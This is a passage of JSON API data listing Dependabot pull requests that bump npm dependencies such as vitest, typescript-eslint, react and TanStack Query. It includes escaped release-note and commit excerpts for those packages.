href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.71.0 (2026-09-28)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.70.1 (2026-09-21)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.70.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/7488d681f6e0e96c2aaa1eee9c3d1b9b1ef077cb\"\u003e\u003ccode\u003e7488d68\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.71.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/d57b8da272375b6a45270639894a793933208a91\"\u003e\u003ccode\u003ed57b8da\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.71.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/8695664c5ee3fbb8fd76907fc45e148579cc3162\"\u003e\u003ccode\u003e8695664\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.71.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/23d38ceeb8fb1237f55cb62fc2b54419e1fa1ed7\"\u003e\u003ccode\u003e23d38ce\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.70.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/eb42d9b7e7ab0eca543bc16b726688624c532fc6\"\u003e\u003ccode\u003eeb42d9b\u003c/code\u003e\u003c/a\u003e chore: cleanup and fix Nx dependencies and missing tasks (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12897\"\u003e#12897\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/8c8053103f4ab8df3105826181c43fa257289a73\"\u003e\u003ccode\u003e8c80531\u003c/code\u003e\u003c/a\u003e chore: fix typos in comments and docs (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12846\"\u003e#12846\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/b6b86a15dd42aaa0e37054683cb5606c8fd203c2\"\u003e\u003ccode\u003eb6b86a1\u003c/code\u003e\u003c/a\u003e chore: migrate to nx 23.2.0 (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12843\"\u003e#12843\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.71.2/packages/typescript-eslint\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.11 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/shereme...\n\n_Description has been truncated_","html_url":"https://github.com/ShipFast-Syndicate/enterprise/pull/42","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ShipFast-Syndicate%2Fenterprise/issues/42","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/42/packages"},{"uuid":"5998774095","node_id":"PR_kwDOPhMg-s8AAAABKQt3Hw","number":148,"state":"open","title":"chore(deps): bump the npm-minor-patch group in /cross-compile/www with 13 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T13:35:41.000Z","updated_at":"2026-10-23T13:35:49.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm-minor-patch","update_count":13,"packages":[{"name":"@tanstack/react-query","old_version":"5.104.2","new_version":"5.104.5","repository_url":"https://github.com/TanStack/query"},{"name":"lucide-react","old_version":"1.57.0","new_version":"1.60.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"react","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-router","old_version":"8.4.0","new_version":"8.5.0","repository_url":"https://github.com/remix-run/react-router"},{"name":"@typescript-eslint/eslint-plugin","old_version":"8.71.2","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"@typescript-eslint/parser","old_version":"8.71.2","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"@vitest/coverage-v8","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"eslint","old_version":"10.12.0","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"jsdom","old_version":"30.1.2","new_version":"30.1.3","repository_url":"https://github.com/jsdom/jsdom"},{"name":"postcss","old_version":"8.5.30","new_version":"8.5.31","repository_url":"https://github.com/postcss/postcss"},{"name":"typescript-eslint","old_version":"8.71.2","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"vitest","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":"/cross-compile/www","ecosystem":"npm"},"body":"Bumps the npm-minor-patch group in /cross-compile/www with 13 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@tanstack/react-query](https://github.com/TanStack/query/tree/HEAD/packages/react-query) | `5.104.2` | `5.104.5` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.57.0` | `1.60.0` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.3.0` | `19.3.1` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.3.0` | `19.3.1` |\n| [react-router](https://github.com/remix-run/react-router/tree/HEAD/packages/react-router) | `8.4.0` | `8.5.0` |\n| [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.71.2` | `8.72.0` |\n| [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.71.2` | `8.72.0` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `5.0.4` | `5.0.5` |\n| [eslint](https://github.com/eslint/eslint) | `10.12.0` | `10.13.0` |\n| [jsdom](https://github.com/jsdom/jsdom) | `30.1.2` | `30.1.3` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.30` | `8.5.31` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.71.2` | `8.72.0` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.4` | `5.0.5` |\n\nUpdates `@tanstack/react-query` from 5.104.2 to 5.104.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/react-query's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-persist-client-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/12117\"\u003e#12117\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e - Recompute \u003ccode\u003euseMutationState\u003c/code\u003e and \u003ccode\u003euseIsMutating\u003c/code\u003e results when their filters, selector, or query client change, without waiting for a mutation cache update.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/f608f933a36da30670082e90d0a56b2569290563\"\u003e\u003ccode\u003ef608f93\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11722\"\u003e#11722\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/0992a9291469d02d677f10a4994b1af0fdb8ac74\"\u003e\u003ccode\u003e0992a92\u003c/code\u003e\u003c/a\u003e - fix(react-query-devtools): create the devtools instance only once instead of on every render\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c8f5eac9df24c3cf987dc23865493ebd0d346caa\"\u003e\u003ccode\u003ec8f5eac\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/b61abc2033f9e2fbf24d6753baedeaa74b2f1c17\"\u003e\u003ccode\u003eb61abc2\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca 